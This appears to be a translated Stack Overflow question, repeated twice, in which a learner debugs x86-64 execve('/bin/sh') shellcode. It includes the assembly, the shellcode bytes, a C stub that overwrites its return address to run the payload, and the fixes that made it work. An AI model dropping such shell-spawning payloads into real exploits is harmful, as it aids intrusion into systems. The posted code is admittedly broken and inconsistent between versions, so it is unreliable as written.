exceve 系统调用无法通过有效负载工作
exceve syscall is not working via payload
我正在为 execve 系统调用编写基本负载。在 nasm 中,有效载荷是:
global _start
2 section .text
3 _start:
4 call payload
5 db '/bin/sh', 0, 'aaaaaaaa', 0
6 payload:
7 mov rax,rsp
8 mov rax, [rax]
9 ;mov BYTE [rax + 0x9], 0x0
10 mov QWORD [rax + 0x0a], rax
11 ;mov BYTE [rax + 0x12], 0x0
12 ;mov QWORD [rax + 0x13], 0x0
13 mov rdi, rax
14 lea rsi, [rax + 0x0a]
15 mov rdx, 0x0
16 mov rax, 0x0b
17 int 0x80
18 mov rax, 0x01
19 mov rbx, 0x21
20 int 0x80
C 文件是:
char payload[] = "\xe8\x11\x00\x00\x00"
2 "\x2f\x62\x69\x6e\x2f\x73\x68\x00"
3 "\x61\x61\x61\x61\x61\x61\x61\x61\x00"
4 "\x48\x89\xe0"
5 "\x48\x8b\x00"
6 "\x48\x89\x40\x0a"
7 "\x48\x89\xc7"
8 "\x48\x8d\x70\x0a"
9 "\xba\x00\x00\x00\x00"
10 "\xb8\xcb\x00\x00\x00"
11 "\xcd\x80"
12 "\xb8\x01\x00\x00\x00"
13 "\xbb\x21\x00\x00\x00"
14 "\xcd\x80";
15 void main() {
16 long *pointer;
17 pointer = (long *)&pointer + 2;
18 *pointer = (long)payload;
有 2 个系统调用,第一个是 execve,第二个是 exit。第一个没有执行,但第二个正在运行。该文件以状态码 33 退出。
我在 r2 中调试了这段代码。我把调试点放在第一个 int 0x80
寄存器 rdi、rsi 和 rdx 中的值似乎是正确的,让我粘贴确切的值:
rdi = 0x5580de416045
:> ps @ rdi
/bin/sh
rsi = 0x5580de41604f
px @ rsi
0x5580de41604f 4560 41de 8055 0000
rdx = 0x00000000
所以rdi保存的是/bin/sh
的地址,rsi保存的是首地址为/bin/sh
的地址,rdx为null。但我认为即使使用 strace 它也不起作用我没有看到这个 sycall。
感谢@Nate 和@o11c,有几个问题:
我应该使用系统调用而不是 int 0x80,因为我使用的是 64 位寄存器,比如 rdi 而不是 ebx 来通过第一个参数。已更改,但仍然无法正常工作。
最初我使用的是/bin/bash
而不是/bin/sh
,所以字符串长度是7而不是9,所以argv的地址是字符串的地址+8(7代表长度和 1 表示空字符)不是 0a (10 ).
正如@o11c 指出的那样,argv 应该以 NULL 地址结尾。在 argv[0] 之后我只是放了 NULL 字节,但这还不够,整个 8 个字节应该是 NULL 因为它是一个地址。
此后代码运行正常。
我正在为 execve 系统调用编写基本负载。在 nasm 中,有效载荷是:
global _start
2 section .text
3 _start:
4 call payload
5 db '/bin/sh', 0, 'aaaaaaaa', 0
6 payload:
7 mov rax,rsp
8 mov rax, [rax]
9 ;mov BYTE [rax + 0x9], 0x0
10 mov QWORD [rax + 0x0a], rax
11 ;mov BYTE [rax + 0x12], 0x0
12 ;mov QWORD [rax + 0x13], 0x0
13 mov rdi, rax
14 lea rsi, [rax + 0x0a]
15 mov rdx, 0x0
16 mov rax, 0x0b
17 int 0x80
18 mov rax, 0x01
19 mov rbx, 0x21
20 int 0x80
C 文件是:
char payload[] = "\xe8\x11\x00\x00\x00"
2 "\x2f\x62\x69\x6e\x2f\x73\x68\x00"
3 "\x61\x61\x61\x61\x61\x61\x61\x61\x00"
4 "\x48\x89\xe0"
5 "\x48\x8b\x00"
6 "\x48\x89\x40\x0a"
7 "\x48\x89\xc7"
8 "\x48\x8d\x70\x0a"
9 "\xba\x00\x00\x00\x00"
10 "\xb8\xcb\x00\x00\x00"
11 "\xcd\x80"
12 "\xb8\x01\x00\x00\x00"
13 "\xbb\x21\x00\x00\x00"
14 "\xcd\x80";
15 void main() {
16 long *pointer;
17 pointer = (long *)&pointer + 2;
18 *pointer = (long)payload;
有 2 个系统调用,第一个是 execve,第二个是 exit。第一个没有执行,但第二个正在运行。该文件以状态码 33 退出。
我在 r2 中调试了这段代码。我把调试点放在第一个 int 0x80
寄存器 rdi、rsi 和 rdx 中的值似乎是正确的,让我粘贴确切的值:
rdi = 0x5580de416045
:> ps @ rdi
/bin/sh
rsi = 0x5580de41604f
px @ rsi
0x5580de41604f 4560 41de 8055 0000
rdx = 0x00000000
所以rdi保存的是/bin/sh
的地址,rsi保存的是首地址为/bin/sh
的地址,rdx为null。但我认为即使使用 strace 它也不起作用我没有看到这个 sycall。
感谢@Nate 和@o11c,有几个问题:
我应该使用系统调用而不是 int 0x80,因为我使用的是 64 位寄存器,比如 rdi 而不是 ebx 来通过第一个参数。已更改,但仍然无法正常工作。
最初我使用的是
/bin/bash
而不是/bin/sh
,所以字符串长度是7而不是9,所以argv的地址是字符串的地址+8(7代表长度和 1 表示空字符)不是 0a (10 ).正如@o11c 指出的那样,argv 应该以 NULL 地址结尾。在 argv[0] 之后我只是放了 NULL 字节,但这还不够,整个 8 个字节应该是 NULL 因为它是一个地址。
此后代码运行正常。